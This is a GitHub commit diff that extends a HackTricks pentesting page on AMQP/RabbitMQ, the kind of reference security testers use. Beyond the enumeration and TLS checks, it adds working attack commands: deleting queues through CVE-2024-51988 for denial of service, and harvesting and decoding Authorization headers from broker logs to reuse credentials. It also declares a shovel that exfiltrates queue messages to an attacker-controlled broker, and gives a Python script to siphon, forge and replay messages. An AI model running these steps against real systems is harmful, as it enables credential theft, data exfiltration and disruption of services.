Skip to content

Commit a2b1c87

Browse files
authored
Merge pull request #1699 from HackTricks-wiki/research_update_src_network-services-pentesting_5671-5672-pentesting-amqp_20251220_013837
Research Update Enhanced src/network-services-pentesting/567...
2 parents dff03fa + dad3271 commit a2b1c87

File tree

1 file changed

+87
-4
lines changed

1 file changed

+87
-4
lines changed

src/network-services-pentesting/5671-5672-pentesting-amqp.md

Lines changed: 87 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,19 +17,25 @@ PORT STATE SERVICE VERSION
1717
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
1818
```
1919

20+
- **Default credentials**: `guest:guest`. RabbitMQ restricts them to localhost through `loopback_users`, but many Docker/IoT images disable that check, so always test remote login before assuming it is blocked.
21+
- **Authentication mechanisms**: PLAIN and AMQPLAIN are enabled by default, ANONYMOUS is mapped to `anonymous_login_user`/`anonymous_login_pass`, and EXTERNAL (x509) can be exposed when TLS is enabled. Enumerate what the broker advertises so you know whether to try password spraying or certificate impersonation later.
22+
2023
## Enumeration
2124

2225
### Manual
2326

2427
```python
2528
import amqp
26-
#By default it uses default credentials "guest":"guest"
29+
# By default it uses "guest":"guest"
2730
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
2831
conn.connect()
32+
print("SASL mechanisms:", conn.mechanisms)
2933
for k, v in conn.server_properties.items():
3034
print(k, v)
3135
```
3236

37+
Once authenticated, dump `conn.server_properties`, `conn.channel_max` and `conn.frame_max` to understand throughput limits and whether you can exhaust resources with oversized frames.
38+
3339
### Automatic
3440

3541
```bash
@@ -52,11 +58,87 @@ PORT STATE SERVICE VERSION
5258
|_ locales: en_US
5359
```
5460

61+
### TLS/SASL checks
62+
63+
- **Probe AMQPS**:
64+
```bash
65+
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null
66+
```
67+
This leaks the certificate chain, supported TLS versions and whether mutual TLS is required.
68+
- **List listeners** without creds:
69+
```bash
70+
rabbitmq-diagnostics -q listeners
71+
```
72+
Useful once you get low-priv shell access to the host.
73+
- **Spot ANONYMOUS logins**: if the broker allows the ANONYMOUS SASL mechanism, try connecting with an empty username/password; RabbitMQ will internally map you to the `anonymous_login_user` (defaults to `guest`).
74+
5575
### Brute Force
5676

5777
- [**AMQP Protocol Brute-Force**](../generic-hacking/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
5878
- [**STOMP Protocol Brute-Force**](../generic-hacking/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
5979

80+
## Exploitation Tips
81+
82+
### Queue deletion without configure perms (CVE-2024-51988)
83+
84+
RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) fail to check the `configure` permission when queues are deleted via the HTTP API. Any authenticated user with access to the target vhost can nuke arbitrary queues even if they only have `read` or `write` rights.
85+
86+
```bash
87+
# confirm vulnerable version first
88+
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
89+
# delete a high-value queue
90+
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing
91+
```
92+
93+
Combine this with `rabbitmqadmin list permissions` to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check [15672 pentesting](15672-pentesting-rabbitmq-management.md) for more HTTP API endpoints to chain with this bug.
94+
95+
### Harvest credentials from RabbitMQ logs (CVE-2025-50200)
96+
97+
Until 4.0.8/4.1.0, hitting the management API with HTTP basic auth on a non-existent resource causes the broker to log the entire `Authorization` header (base64). If you gain limited filesystem access (e.g. Docker escape, plugin RCE), search `/var/log/rabbitmq/rabbit@*.log` for `Authorization:` and recover credentials for other tenants or service accounts.
98+
99+
```bash
100+
curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
101+
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d
102+
```
103+
104+
Trigger this intentionally with bogus endpoints to plant fresh secrets in the logs, then pivot by reusing the decoded creds over AMQP, STOMP, MQTT or the OS itself.
105+
106+
### Weaponize rabbitmqadmin-ng
107+
108+
`rabbitmqadmin` v2 (aka rabbitmqadmin-ng) is a self-contained CLI that talks to the management API and now ships statically linked builds for Linux/macOS/Windows. Drop it on your bounce box and script:
109+
110+
```bash
111+
# enumerate live channels and prefetch pressure
112+
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
113+
# clone a shovel to exfiltrate messages to attacker-controlled broker
114+
rabbitmqadmin shovels declare_amqp091 \
115+
--name loot \
116+
--source-uri amqp://user:pass@target:5672/%2f \
117+
--destination-uri amqp://attacker:pw@vps:5672/%2f \
118+
--source-queue transactions \
119+
--destination-queue stolen
120+
```
121+
122+
Because the tool supports blue/green aware health checks, you can also abuse `rabbitmqadmin health_check port_listener --port 5672` to remotely confirm whether TLS listeners were exposed or to keep the service busy for timing probes.
123+
124+
### Message hijacking/sniffing
125+
126+
If you find permissive policies (`.*` bindings, `topic` exchanges, or `x-queue-master-locator = min-masters`), you can quietly siphon messages without deleting them:
127+
128+
```python
129+
import pika
130+
creds = pika.PlainCredentials('user','pass')
131+
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
132+
ch = conn.channel()
133+
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
134+
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
135+
for method, props, body in ch.consume('loot', inactivity_timeout=5):
136+
if body:
137+
print(method.routing_key, body)
138+
```
139+
140+
Swap the routing key for `audit.#` or `payments.*` to focus on sensitive flows, then republish forged messages by flipping `basic_publish` arguments—handy for replay attacks against downstream microservices.
141+
60142
## Other RabbitMQ ports
61143

62144
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**:
@@ -86,8 +168,9 @@ In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networkin
86168

87169
- [CloudAMQP – RabbitMQ for beginners](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
88170
- [RabbitMQ Networking Guide](https://www.rabbitmq.com/networking.html)
171+
- [RabbitMQ Authentication, Authorisation & Access Control](https://www.rabbitmq.com/docs/access-control)
172+
- [CVE-2024-51988 – RabbitMQ HTTP API queue deletion bug](https://www.cve.news/cve-2024-51988/)
173+
- [GHSA-gh3x-4x42-fvq8 – RabbitMQ logs Authorization header](https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-gh3x-4x42-fvq8)
174+
- [rabbitmqadmin v2 (rabbitmqadmin-ng)](https://github.com/rabbitmq/rabbitmqadmin-ng)
89175

90176
{{#include ../banners/hacktricks-training.md}}
91-
92-
93-

0 commit comments

Comments
 (0)